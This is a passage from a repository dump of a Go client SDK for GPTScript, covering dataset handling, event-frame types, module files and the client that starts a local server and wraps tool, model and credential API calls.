DatasetElement{}, fmt.Errorf("failed to marshal element args: %w", err) 133 | } 134 | 135 | out, err := g.runBasicCommand(ctx, "datasets/get-element", datasetRequest{ 136 | Input: string(argsJSON), 137 | DatasetTool: g.globalOpts.DatasetTool, 138 | Env: g.globalOpts.Env, 139 | }) 140 | if err != nil { 141 | return DatasetElement{}, err 142 | } 143 | 144 | var element DatasetElement 145 | if err = json.Unmarshal([]byte(out), &element); err != nil { 146 | return DatasetElement{}, err 147 | } 148 | 149 | return element, nil 150 | } 151 | -------------------------------------------------------------------------------- /datasets_test.go: -------------------------------------------------------------------------------- 1 | package gptscript 2 | 3 | import ( 4 | "context" 5 | "os" 6 | "testing" 7 | 8 | "github.com/stretchr/testify/require" 9 | ) 10 | 11 | func TestDatasets(t *testing.T) { 12 | workspaceID, err := g.CreateWorkspace(context.Background(), "directory") 13 | require.NoError(t, err) 14 | 15 | client, err := NewGPTScript(GlobalOptions{ 16 | OpenAIAPIKey: os.Getenv("OPENAI_API_KEY"), 17 | Env: append(os.Environ(), "GPTSCRIPT_WORKSPACE_ID="+workspaceID), 18 | }) 19 | require.NoError(t, err) 20 | 21 | defer func() { 22 | _ = g.DeleteWorkspace(context.Background(), workspaceID) 23 | }() 24 | 25 | datasetID, err := client.CreateDatasetWithElements(context.Background(), []DatasetElement{ 26 | { 27 | DatasetElementMeta: DatasetElementMeta{ 28 | Name: "test-element-1", 29 | Description: "This is a test element 1", 30 | }, 31 | Contents: "This is the content 1", 32 | }, 33 | }, DatasetOptions{ 34 | Name: "test-dataset", 35 | Description: "this is a test dataset", 36 | }) 37 | require.NoError(t, err) 38 | 39 | // Add three more elements 40 | _, err = client.AddDatasetElements(context.Background(), datasetID, []DatasetElement{ 41 | { 42 | DatasetElementMeta: DatasetElementMeta{ 43 | Name: "test-element-2", 44 | Description: "This is a test element 2", 45 | }, 46 | Contents: "This is the content 2", 47 | }, 48 | { 49 | DatasetElementMeta: DatasetElementMeta{ 50 | Name: "test-element-3", 51 | Description: "This is a test element 3", 52 | }, 53 | Contents: "This is the content 3", 54 | }, 55 | { 56 | DatasetElementMeta: DatasetElementMeta{ 57 | Name: "binary-element", 58 | Description: "this element has binary contents", 59 | }, 60 | BinaryContents: []byte("binary contents"), 61 | }, 62 | }) 63 | require.NoError(t, err) 64 | 65 | // Get the first element 66 | element, err := client.GetDatasetElement(context.Background(), datasetID, "test-element-1") 67 | require.NoError(t, err) 68 | require.Equal(t, "test-element-1", element.Name) 69 | require.Equal(t, "This is a test element 1", element.Description) 70 | require.Equal(t, "This is the content 1", element.Contents) 71 | 72 | // Get the third element 73 | element, err = client.GetDatasetElement(context.Background(), datasetID, "test-element-3") 74 | require.NoError(t, err) 75 | require.Equal(t, "test-element-3", element.Name) 76 | require.Equal(t, "This is a test element 3", element.Description) 77 | require.Equal(t, "This is the content 3", element.Contents) 78 | 79 | // Get the binary element 80 | element, err = client.GetDatasetElement(context.Background(), datasetID, "binary-element") 81 | require.NoError(t, err) 82 | require.Equal(t, "binary-element", element.Name) 83 | require.Equal(t, "this element has binary contents", element.Description) 84 | require.Equal(t, []byte("binary contents"), element.BinaryContents) 85 | 86 | // List elements in the dataset 87 | elements, err := client.ListDatasetElements(context.Background(), datasetID) 88 | require.NoError(t, err) 89 | require.Equal(t, 4, len(elements)) 90 | 91 | // List datasets 92 | datasets, err := client.ListDatasets(context.Background()) 93 | require.NoError(t, err) 94 | require.Equal(t, 1, len(datasets)) 95 | require.Equal(t, datasetID, datasets[0].ID) 96 | require.Equal(t, "test-dataset", datasets[0].Name) 97 | require.Equal(t, "this is a test dataset", datasets[0].Description) 98 | } 99 | -------------------------------------------------------------------------------- /frame.go: -------------------------------------------------------------------------------- 1 | package gptscript 2 | 3 | import ( 4 | "fmt" 5 | "time" 6 | ) 7 | 8 | type ToolCategory string 9 | 10 | type EventType string 11 | 12 | const ( 13 | ProviderToolCategory ToolCategory = "provider" 14 | CredentialToolCategory ToolCategory = "credential" 15 | ContextToolCategory ToolCategory = "context" 16 | InputToolCategory ToolCategory = "input" 17 | OutputToolCategory ToolCategory = "output" 18 | NoCategory ToolCategory = "" 19 | 20 | EventTypeRunStart EventType = "runStart" 21 | EventTypeCallStart EventType = "callStart" 22 | EventTypeCallContinue EventType = "callContinue" 23 | EventTypeCallSubCalls EventType = "callSubCalls" 24 | EventTypeCallProgress EventType = "callProgress" 25 | EventTypeChat EventType = "callChat" 26 | EventTypeCallConfirm EventType = "callConfirm" 27 | EventTypeCallFinish EventType = "callFinish" 28 | EventTypeRunFinish EventType = "runFinish" 29 | 30 | EventTypePrompt EventType = "prompt" 31 | ) 32 | 33 | type Frame struct { 34 | Run *RunFrame `json:"run,omitempty"` 35 | Call *CallFrame `json:"call,omitempty"` 36 | Prompt *PromptFrame `json:"prompt,omitempty"` 37 | } 38 | 39 | type RunFrame struct { 40 | ID string `json:"id"` 41 | Program Program `json:"program"` 42 | Input string `json:"input"` 43 | Output string `json:"output"` 44 | Error string `json:"error"` 45 | Start time.Time `json:"start"` 46 | End time.Time `json:"end"` 47 | State RunState `json:"state"` 48 | ChatState any `json:"chatState"` 49 | Type EventType `json:"type"` 50 | } 51 | 52 | type CallFrames map[string]CallFrame 53 | 54 | func (c CallFrames) ParentCallFrame() CallFrame { 55 | for _, call := range c { 56 | if call.ParentID == "" && call.ToolCategory == NoCategory { 57 | return call 58 | } 59 | } 60 | return CallFrame{} 61 | } 62 | 63 | type CallFrame struct { 64 | CallContext `json:",inline"` 65 | 66 | Type EventType `json:"type"` 67 | Start time.Time `json:"start"` 68 | End time.Time `json:"end"` 69 | Input string `json:"input"` 70 | Output []Output `json:"output"` 71 | Usage Usage `json:"usage"` 72 | ChatResponseCached bool `json:"chatResponseCached"` 73 | ToolResults int `json:"toolResults"` 74 | LLMRequest any `json:"llmRequest"` 75 | LLMResponse any `json:"llmResponse"` 76 | } 77 | 78 | type Usage struct { 79 | PromptTokens int `json:"promptTokens,omitempty"` 80 | CompletionTokens int `json:"completionTokens,omitempty"` 81 | TotalTokens int `json:"totalTokens,omitempty"` 82 | } 83 | 84 | type Output struct { 85 | Content string `json:"content"` 86 | SubCalls map[string]Call `json:"subCalls"` 87 | } 88 | 89 | type Program struct { 90 | Name string `json:"name,omitempty"` 91 | EntryToolID string `json:"entryToolId,omitempty"` 92 | ToolSet ToolSet `json:"toolSet,omitempty"` 93 | } 94 | 95 | type ToolSet map[string]Tool 96 | 97 | type Call struct { 98 | ToolID string `json:"toolID,omitempty"` 99 | Input string `json:"input,omitempty"` 100 | } 101 | 102 | type CallContext struct { 103 | ID string `json:"id"` 104 | Tool Tool `json:"tool"` 105 | AgentGroup []ToolReference `json:"agentGroup,omitempty"` 106 | CurrentAgent ToolReference `json:"currentAgent,omitempty"` 107 | DisplayText string `json:"displayText"` 108 | InputContext []InputContext `json:"inputContext"` 109 | ToolCategory ToolCategory `json:"toolCategory,omitempty"` 110 | ToolName string `json:"toolName,omitempty"` 111 | ParentID string `json:"parentID,omitempty"` 112 | } 113 | 114 | type InputContext struct { 115 | ToolID string `json:"toolID,omitempty"` 116 | Content string `json:"content,omitempty"` 117 | } 118 | 119 | type Prompt struct { 120 | Message string `json:"message,omitempty"` 121 | Fields Fields `json:"fields,omitempty"` 122 | Sensitive bool `json:"sensitive,omitempty"` 123 | Metadata map[string]string `json:"metadata,omitempty"` 124 | } 125 | 126 | type Field struct { 127 | Name string `json:"name,omitempty"` 128 | Sensitive *bool `json:"sensitive,omitempty"` 129 | Description string `json:"description,omitempty"` 130 | Options []string `json:"options,omitempty"` 131 | } 132 | 133 | type Fields []Field 134 | 135 | type PromptFrame struct { 136 | Prompt 137 | ID string `json:"id,omitempty"` 138 | Type EventType `json:"type,omitempty"` 139 | Time time.Time `json:"time,omitempty"` 140 | } 141 | 142 | func (p *PromptFrame) String() string { 143 | return fmt.Sprintf(`Message: %s 144 | Fields: %v 145 | Sensitive: %v`, p.Message, p.Fields, p.Sensitive, 146 | ) 147 | } 148 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/wretchedgira/go-gptscript 2 | 3 | go 1.23.0 4 | 5 | require ( 6 | github.com/getkin/kin-openapi v0.129.0 7 | github.com/stretchr/testify v1.10.0 8 | ) 9 | 10 | require ( 11 | github.com/davecgh/go-spew v1.1.1 // indirect 12 | github.com/go-openapi/jsonpointer v0.21.0 // indirect 13 | github.com/go-openapi/swag v0.23.0 // indirect 14 | github.com/josharian/intern v1.0.0 // indirect 15 | github.com/mailru/easyjson v0.9.0 // indirect 16 | github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826 // indirect 17 | github.com/oasdiff/yaml v0.0.0-20241210131133-6b86fb107d80 // indirect 18 | github.com/oasdiff/yaml3 v0.0.0-20241210130736-a94c01f36349 // indirect 19 | github.com/perimeterx/marshmallow v1.1.5 // indirect 20 | github.com/pmezard/go-difflib v1.0.0 // indirect 21 | gopkg.in/yaml.v3 v3.0.1 // indirect 22 | ) 23 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 2 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 3 | github.com/getkin/kin-openapi v0.129.0 h1:QGYTNcmyP5X0AtFQ2Dkou9DGBJsUETeLH9rFrJXZh30= 4 | github.com/getkin/kin-openapi v0.129.0/go.mod h1:gmWI+b/J45xqpyK5wJmRRZse5wefA5H0RDMK46kLUtI= 5 | github.com/go-openapi/jsonpointer v0.21.0 h1:YgdVicSA9vH5RiHs9TZW5oyafXZFc6+2Vc1rr/O9oNQ= 6 | github.com/go-openapi/jsonpointer v0.21.0/go.mod h1:IUyH9l/+uyhIYQ/PXVA41Rexl+kOkAPDdXEYns6fzUY= 7 | github.com/go-openapi/swag v0.23.0 h1:vsEVJDUo2hPJ2tu0/Xc+4noaxyEffXNIs3cOULZ+GrE= 8 | github.com/go-openapi/swag v0.23.0/go.mod h1:esZ8ITTYEsH1V2trKHjAN8Ai7xHb8RV+YSZ577vPjgQ= 9 | github.com/go-test/deep v1.0.8 h1:TDsG77qcSprGbC6vTN8OuXp5g+J+b5Pcguhf7Zt61VM= 10 | github.com/go-test/deep v1.0.8/go.mod h1:5C2ZWiW0ErCdrYzpqxLbTX7MG14M9iiw8DgHncVwcsE= 11 | github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY= 12 | github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= 13 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= 14 | github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= 15 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 16 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 17 | github.com/mailru/easyjson v0.9.0 h1:PrnmzHw7262yW8sTBwxi1PdJA3Iw/EKBa8psRf7d9a4= 18 | github.com/mailru/easyjson v0.9.0/go.mod h1:1+xMtQp2MRNVL/V1bOzuP3aP8VNwRW55fQUto+XFtTU= 19 | github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826 h1:RWengNIwukTxcDr9M+97sNutRR1RKhG96O6jWumTTnw= 20 | github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826/go.mod h1:TaXosZuwdSHYgviHp1DAtfrULt5eUgsSMsZf+YrPgl8= 21 | github.com/oasdiff/yaml v0.0.0-20241210131133-6b86fb107d80 h1:nZspmSkneBbtxU9TopEAE0CY+SBJLxO8LPUlw2vG4pU= 22 | github.com/oasdiff/yaml v0.0.0-20241210131133-6b86fb107d80/go.mod h1:7tFDb+Y51LcDpn26GccuUgQXUk6t0CXZsivKjyimYX8= 23 | github.com/oasdiff/yaml3 v0.0.0-20241210130736-a94c01f36349 h1:t05Ww3DxZutOqbMN+7OIuqDwXbhl32HiZGpLy26BAPc= 24 | github.com/oasdiff/yaml3 v0.0.0-20241210130736-a94c01f36349/go.mod h1:y5+oSEHCPT/DGrS++Wc/479ERge0zTFxaF8PbGKcg2o= 25 | github.com/perimeterx/marshmallow v1.1.5 h1:a2LALqQ1BlHM8PZblsDdidgv1mWi1DgC2UmX50IvK2s= 26 | github.com/perimeterx/marshmallow v1.1.5/go.mod h1:dsXbUu8CRzfYP5a87xpp0xq9S3u0Vchtcl8we9tYaXw= 27 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 28 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 29 | github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8= 30 | github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4= 31 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= 32 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 33 | github.com/ugorji/go/codec v1.2.7 h1:YPXUKf7fYbp/y8xloBqZOw2qaVggbfwMlI8WM3wZUJ0= 34 | github.com/ugorji/go/codec v1.2.7/go.mod h1:WGN1fab3R1fzQlVQTkfxVtIBhWDRqOviHU95kRgeqEY= 35 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 36 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 37 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 38 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 39 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 40 | -------------------------------------------------------------------------------- /gptscript.go: -------------------------------------------------------------------------------- 1 | package gptscript 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "compress/gzip" 7 | "context" 8 | "encoding/base64" 9 | "encoding/json" 10 | "fmt" 11 | "io" 12 | "log/slog" 13 | "os" 14 | "os/exec" 15 | "path/filepath" 16 | "strings" 17 | "sync" 18 | ) 19 | 20 | var ( 21 | serverProcess *exec.Cmd 22 | serverProcessCancel context.CancelFunc 23 | gptscriptCount int 24 | serverURL string 25 | lock sync.Mutex 26 | ) 27 | 28 | const relativeToBinaryPath = "" 29 | 30 | type GPTScript struct { 31 | globalOpts GlobalOptions 32 | } 33 | 34 | func NewGPTScript(opts ...GlobalOptions) (*GPTScript, error) { 35 | opt := completeGlobalOptions(opts...) 36 | if opt.Env == nil { 37 | opt.Env = os.Environ() 38 | } 39 | 40 | opt.Env = append(opt.Env, opt.toEnv()...) 41 | 42 | lock.Lock() 43 | defer lock.Unlock() 44 | gptscriptCount++ 45 | 46 | startSDK := serverProcess == nil && serverURL == "" && opt.URL == "" 47 | if serverURL == "" { 48 | serverURL = os.Getenv("GPTSCRIPT_URL") 49 | startSDK = startSDK && serverURL == "" 50 | } 51 | 52 | if startSDK { 53 | ctx, cancel := context.WithCancel(context.Background()) 54 | in, _ := io.Pipe() 55 | 56 | serverProcess = exec.CommandContext(ctx, getCommand(), "sys.sdkserver", "--listen-address", "127.0.0.1:0") 57 | serverProcess.Env = opt.Env[:] 58 | 59 | serverProcess.Stdin = in 60 | stdErr, err := serverProcess.StderrPipe() 61 | if err != nil { 62 | cancel() 63 | return nil, fmt.Errorf("failed to get stderr pipe: %w", err) 64 | } 65 | 66 | serverProcessCancel = func() { 67 | cancel() 68 | _ = in.Close() 69 | _ = serverProcess.Wait() 70 | } 71 | 72 | if err = serverProcess.Start(); err != nil { 73 | serverProcessCancel() 74 | return nil, fmt.Errorf("failed to start server: %w", err) 75 | } 76 | 77 | serverURL, err = readAddress(stdErr) 78 | if err != nil { 79 | serverProcessCancel() 80 | return nil, fmt.Errorf("failed to read server URL: %w", err) 81 | } 82 | 83 | go func() { 84 | for { 85 | // Ensure that stdErr is drained as logs come in 86 | _, _, _ = bufio.NewReader(stdErr).ReadLine() 87 | } 88 | }() 89 | 90 | if _, url, found := strings.Cut(serverURL, "addr="); found { 91 | // Ensure backwards compatibility with older versions of the SDK server 92 | serverURL = url 93 | } 94 | 95 | serverURL = strings.TrimSpace(serverURL) 96 | } 97 | 98 | if opt.URL == "" { 99 | opt.URL = serverURL 100 | } 101 | 102 | if !strings.HasPrefix(opt.URL, "http://") && !strings.HasPrefix(opt.URL, "https://") { 103 | opt.URL = "http://" + opt.URL 104 | } 105 | 106 | opt.Env = append(opt.Env, "GPTSCRIPT_URL="+opt.URL) 107 | 108 | if opt.Token == "" { 109 | opt.Token = os.Getenv("GPTSCRIPT_TOKEN") 110 | } 111 | if opt.Token != "" { 112 | opt.Env = append(opt.Env, "GPTSCRIPT_TOKEN="+opt.Token) 113 | } 114 | 115 | return &GPTScript{ 116 | globalOpts: opt, 117 | }, nil 118 | } 119 | 120 | func readAddress(stdErr io.Reader) (string, error) { 121 | addr, err := bufio.NewReader(stdErr).ReadString('\n') 122 | if err != nil { 123 | return "", fmt.Errorf("failed to read server address: %w", err) 124 | } 125 | 126 | if _, url, found := strings.Cut(addr, "addr="); found { 127 | // For backward compatibility: older versions of the SDK server print the address in a slightly different way. 128 | addr = url 129 | } 130 | 131 | return addr, nil 132 | } 133 | 134 | func (g *GPTScript) URL() string { 135 | return g.globalOpts.URL 136 | } 137 | 138 | func (g *GPTScript) Close() { 139 | lock.Lock() 140 | defer lock.Unlock() 141 | gptscriptCount-- 142 | 143 | if gptscriptCount == 0 && serverProcessCancel != nil { 144 | serverProcessCancel() 145 | _ = serverProcess.Wait() 146 | } 147 | } 148 | 149 | func (g *GPTScript) Evaluate(ctx context.Context, opts Options, tools ...ToolDef) (*Run, error) { 150 | opts.GlobalOptions = completeGlobalOptions(g.globalOpts, opts.GlobalOptions) 151 | return (&Run{ 152 | url: opts.URL, 153 | token: opts.Token, 154 | requestPath: "evaluate", 155 | state: Creating, 156 | opts: opts, 157 | tools: tools, 158 | }).NextChat(ctx, opts.Input) 159 | } 160 | 161 | func (g *GPTScript) Run(ctx context.Context, toolPath string, opts Options) (*Run, error) { 162 | opts.GlobalOptions = completeGlobalOptions(g.globalOpts, opts.GlobalOptions) 163 | return (&Run{ 164 | url: opts.URL, 165 | token: opts.Token, 166 | requestPath: "run", 167 | state: Creating, 168 | opts: opts, 169 | toolPath: toolPath, 170 | }).NextChat(ctx, opts.Input) 171 | } 172 | 173 | func (g *GPTScript) AbortRun(ctx context.Context, run *Run) error { 174 | _, err := g.runBasicCommand(ctx, "abort/"+run.id, (map[string]any)(nil)) 175 | return err 176 | } 177 | 178 | type ParseOptions struct { 179 | DisableCache bool 180 | } 181 | 182 | // Parse will parse the given file into an array of Nodes. 183 | func (g *GPTScript) Parse(ctx context.Context, fileName string, opts ...ParseOptions) ([]Node, error) { 184 | var disableCache bool 185 | for _, opt := range opts { 186 | disableCache = disableCache || opt.DisableCache 187 | } 188 | 189 | out, err := g.runBasicCommand(ctx, "parse", map[string]any{"file": fileName, "disableCache": disableCache}) 190 | if err != nil { 191 | return nil, err 192 | } 193 | 194 | var doc Document 195 | if err = json.Unmarshal([]byte(out), &doc); err != nil { 196 | return nil, err 197 | } 198 | 199 | for _, node := range doc.Nodes { 200 | node.TextNode.process() 201 | } 202 | 203 | return doc.Nodes, nil 204 | } 205 | 206 | // ParseContent will parse the given string into a tool. 207 | func (g *GPTScript) ParseContent(ctx context.Context, toolDef string) ([]Node, error) { 208 | out, err := g.runBasicCommand(ctx, "parse", map[string]any{"content": toolDef}) 209 | if err != nil { 210 | return nil, err 211 | } 212 | 213 | var doc Document 214 | if err = json.Unmarshal([]byte(out), &doc); err != nil { 215 | return nil, err 216 | } 217 | 218 | for _, node := range doc.Nodes { 219 | node.TextNode.process() 220 | } 221 | 222 | return doc.Nodes, nil 223 | } 224 | 225 | // Fmt will format the given nodes into a string. 226 | func (g *GPTScript) Fmt(ctx context.Context, nodes []Node) (string, error) { 227 | for _, node := range nodes { 228 | node.TextNode.combine() 229 | } 230 | 231 | out, err := g.runBasicCommand(ctx, "fmt", Document{Nodes: nodes}) 232 | if err != nil { 233 | return "", err 234 | } 235 | 236 | return out, nil 237 | } 238 | 239 | type LoadOptions struct { 240 | DisableCache bool 241 | SubTool string 242 | } 243 | 244 | // LoadFile will load the given file into a Program. 245 | func (g *GPTScript) LoadFile(ctx context.Context, fileName string, opts ...LoadOptions) (*Program, error) { 246 | return g.load(ctx, map[string]any{"file": fileName}, opts...) 247 | } 248 | 249 | // LoadContent will load the given content into a Program. 250 | func (g *GPTScript) LoadContent(ctx context.Context, content string, opts ...LoadOptions) (*Program, error) { 251 | return g.load(ctx, map[string]any{"content": content}, opts...) 252 | } 253 | 254 | // LoadTools will load the given tools into a Program. 255 | func (g *GPTScript) LoadTools(ctx context.Context, toolDefs []ToolDef, opts ...LoadOptions) (*Program, error) { 256 | return g.load(ctx, map[string]any{"toolDefs": toolDefs}, opts...) 257 | } 258 | 259 | func (g *GPTScript) load(ctx context.Context, payload map[string]any, opts ...LoadOptions) (*Program, error) { 260 | for _, opt := range opts { 261 | if opt.DisableCache { 262 | payload["disableCache"] = true 263 | } 264 | if opt.SubTool != "" { 265 | payload["subTool"] = opt.SubTool 266 | } 267 | } 268 | 269 | out, err := g.runBasicCommand(ctx, "load", payload) 270 | if err != nil { 271 | return nil, err 272 | } 273 | 274 | type loadResponse struct { 275 | Program *Program `json:"program"` 276 | } 277 | 278 | prg := new(loadResponse) 279 | if err = json.Unmarshal([]byte(out), prg); err != nil { 280 | return nil, err 281 | } 282 | 283 | return prg.Program, nil 284 | } 285 | 286 | // Version will return the output of `gptscript --version` 287 | func (g *GPTScript) Version(ctx context.Context) (string, error) { 288 | out, err := g.runBasicCommand(ctx, "version", nil) 289 | if err != nil { 290 | return "", err 291 | } 292 | 293 | return out, nil 294 | } 295 | 296 | type ListModelsOptions struct { 297 | Providers []string 298 | CredentialOverrides []string 299 | } 300 | 301 | type Model struct { 302 | CreatedAt int64 `json:"created"` 303 | ID string `json:"id"` 304 | Object string `json:"object"` 305 | OwnedBy string `json:"owned_by"` 306 | Permission []Permission `json:"permission"` 307 | Root string `json:"root"` 308 | Parent string `json:"parent"` 309 | Metadata map[string]string `json:"metadata"` 310 | } 311 | 312 | type Permission struct { 313 | CreatedAt int64 `json:"created"` 314 | ID string `json:"id"` 315 | Object string `json:"object"` 316 | AllowCreateEngine bool `json:"allow_create_engine"` 317 | AllowSampling bool `json:"allow_sampling"` 318 | AllowLogprobs bool `json:"allow_logprobs"` 319 | AllowSearchIndices bool `json:"allow_search_indices"` 320 | AllowView bool `json:"allow_view"` 321 | AllowFineTuning bool `json:"allow_fine_tuning"` 322 | Organization string `json:"organization"` 323 | Group interface{} `json:"group"` 324 | IsBlocking bool `json:"is_blocking"` 325 | } 326 | 327 | // ListModels will list all the available models. 328 | func (g *GPTScript) ListModels(ctx context.Context, opts ...ListModelsOptions) ([]Model, error) { 329 | var o ListModelsOptions 330 | for _, opt := range opts { 331 | o.Providers = append(o.Providers, opt.Providers...) 332 | o.CredentialOverrides = append(o.CredentialOverrides, opt.CredentialOverrides...) 333 | } 334 | 335 | if g.globalOpts.DefaultModelProvider != "" { 336 | o.Providers = append(o.Providers, g.globalOpts.DefaultModelProvider) 337 | } 338 | 339 | out, err := g.runBasicCommand(ctx, "list-models", map[string]any{ 340 | "providers": o.Providers, 341 | "env": g.globalOpts.Env, 342 | "credentialOverrides": o.CredentialOverrides, 343 | }) 344 | if err != nil { 345 | return nil, err 346 | } 347 | 348 | var models []Model 349 | if err = json.Unmarshal([]byte(out), &models); err != nil { 350 | return nil, fmt.Errorf("failed to parse models: %w", err) 351 | } 352 | 353 | return models, nil 354 | } 355 | 356 | func (g *GPTScript) Confirm(ctx context.Context, resp AuthResponse) error { 357 | _, err := g.runBasicCommand(ctx, "confirm/"+resp.ID, resp) 358 | return err 359 | } 360 | 361 | func (g *GPTScript) PromptResponse(ctx context.Context, resp PromptResponse) error { 362 | _, err := g.runBasicCommand(ctx, "prompt-response/"+resp.ID, resp.Responses) 363 | return err 364 | } 365 | 366 | type ListCredentialsOptions struct { 367 | CredentialContexts []string 368 | AllContexts bool 369 | } 370 | 371 | func (g *GPTScript) ListCredentials(ctx context.Context, opts ListCredentialsOptions) ([]Credential, error) { 372 | req := CredentialRequest{} 373 | if opts.AllContexts { 374 | req.AllContexts = true 375 | } else if len(opts.CredentialContexts) > 0 { 376 | req.Context = opts.CredentialContexts 377 | } else { 378 | req.Context = []string{"default"} 379 | } 380 | 381 | out, err := g.runBasicCommand(ctx, "credentials", req) 382 | if err != nil { 383 | return nil, err 384 | } 385 | 386 | var creds []Credential 387 | if err = json.Unmarshal([]byte(out), &creds); err != nil { 388 | return nil, err 389 | } 390 | return creds, nil 391 | } 392 | 393 | func (g *GPTScript) CreateCredential(ctx context.Context, cred Credential) error { 394 | credJSON, err := json.Marshal(cred) 395 | if err != nil { 396 | return fmt.Errorf("failed to marshal credential: %w", err) 397 | } 398 | 399 | _, err = g.runBasicCommand(ctx, "credentials/create", CredentialRequest{Content: string(credJSON)}) 400 | return err 401 | } 402 | 403 | func (g *GPTScript) RecreateAllCredentials(ctx context.Context) error { 404 | _, err := g.runBasicCommand(ctx, "credentials/recreate-all", struct{}{}) 405 | return err 406 | } 407 | 408 | func (g *GPTScript) RevealCredential(ctx context.Context, credCtxs []string, name string) (Credential, error) { 409 | out, err := g.runBasicCommand(ctx, "credentials/reveal", CredentialRequest{ 410 | Context: credCtxs, 411 | Name: name, 412 | }) 413 | if err != nil { 414 | return Credential{}, err 415 | } 416 | 417 | var cred Credential 418 | if err = json.Unmarshal([]byte(out), &cred); err != nil { 419 | return Credential{}, err 420 | } 421 | return cred, nil 422 | } 423 | 424 | func (g *GPTScript) DeleteCredential(ctx context.Context, credCtx, name string) error { 425 | _, err := g.runBasicCommand(ctx, "credentials/delete", CredentialRequest{ 426 | Context: []string{credCtx}, // Only one context can be specified for delete operations 427 | Name: name, 428 | }) 429 | return err 430 | } 431 | 432 | func (g *GPTScript) runBasicCommand(ctx context.Context, requestPath string, body any) (string, error) { 433 | run := &Run{ 434 | url: g.globalOpts.URL, 435 | requestPath: requestPath, 436 | state: Creating, 437 | basicCommand: true, 438 | } 439 | 440 | if err := run.request(ctx, body); err != nil { 441 | return "", err 442 | } 443 | 444 | out, err := run.Text() 445 | if err != nil { 446 | return "", err 447 | } 448 | if run.err != nil { 449 | return run.ErrorOutput(), run.err 450 | } 451 | 452 | return out, nil 453 | } 454 | 455 | func getCommand() string { 456 | if gptScriptBin := os.Getenv("GPTSCRIPT_BIN"); gptScriptBin != "" { 457 | if len(os.Args) == 0 { 458 | return gptScriptBin 459 | } 460 | return determineProperCommand(filepath.Dir(os.Args[0]), gptScriptBin) 461 | } 462 | 463 | return "gptscript" 464 | } 465 | 466 | // determineProperCommand is for testing purposes. Users should use getCommand instead. 467 | func determineProperCommand(dir, bin string) string { 468 | if !strings.HasPrefix(bin, relativeToBinaryPath) { 469 | return bin 470 | } 471 | 472 | bin = filepath.Join(dir, strings.TrimPrefix(bin, relativeToBinaryPath)) 473 | if !filepath.IsAbs(bin) { 474 | bin = "." + string(os.PathSeparator) + bin 475 | } 476 | 477 | slog.Debug("Using gptscript binary: " + bin) 478 | return bin 479 | } 480 | 481 | func GetEnv(key, def string) string { 482 | v := os.Getenv(key) 483 | if v == "" { 484 | return def 485 | } 486 | 487 | if strings.HasPrefix(v, `{"_gz":"`) && strings.HasSuffix(v, `"}`) { 488 | data, err := base64.StdEncoding.DecodeString(v[8 : len(v)-2]) 489 | if err != nil { 490 | return v 491 | } 492 | gz, err := gzip.NewReader(bytes.NewBuffer(data)) 493 | if err != nil { 494 | return v 495 | } 496 | strBytes, err := io.ReadAll(gz) 497 | if err != nil { 498 | return v 499 | } 500 | return string(strBytes) 501 | } 502 | 503 | return v 504 | } 505 | -------------------------------------------------------------------------------- /gptscript_test.go: -------------------------------------------------------------------------------- 1 | package gptscript 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "fmt" 7 | "math/rand" 8 | "os" 9 | "path/filepath" 10 | "runtime" 11 | "strconv" 12 | "strings" 13 | "testing" 14 | "time" 15 | 16 | "github.com/getkin/kin-openapi/openapi3" 17 | "github.com/stretchr/testify/require" 18 | ) 19 | 20 | var g *GPTScript 21 | 22 | func TestMain(m *testing.M) { 23 | if os.Getenv("OPENAI_API_KEY") == "" && os.Getenv("GPTSCRIPT_URL") == "" { 24 | panic("OPENAI_API_KEY or GPTSCRIPT_URL environment variable must be set") 25 | } 26 | 27 | // Start an initial GPTScript instance. 28 | // This one doesn't have any options, but it's there to 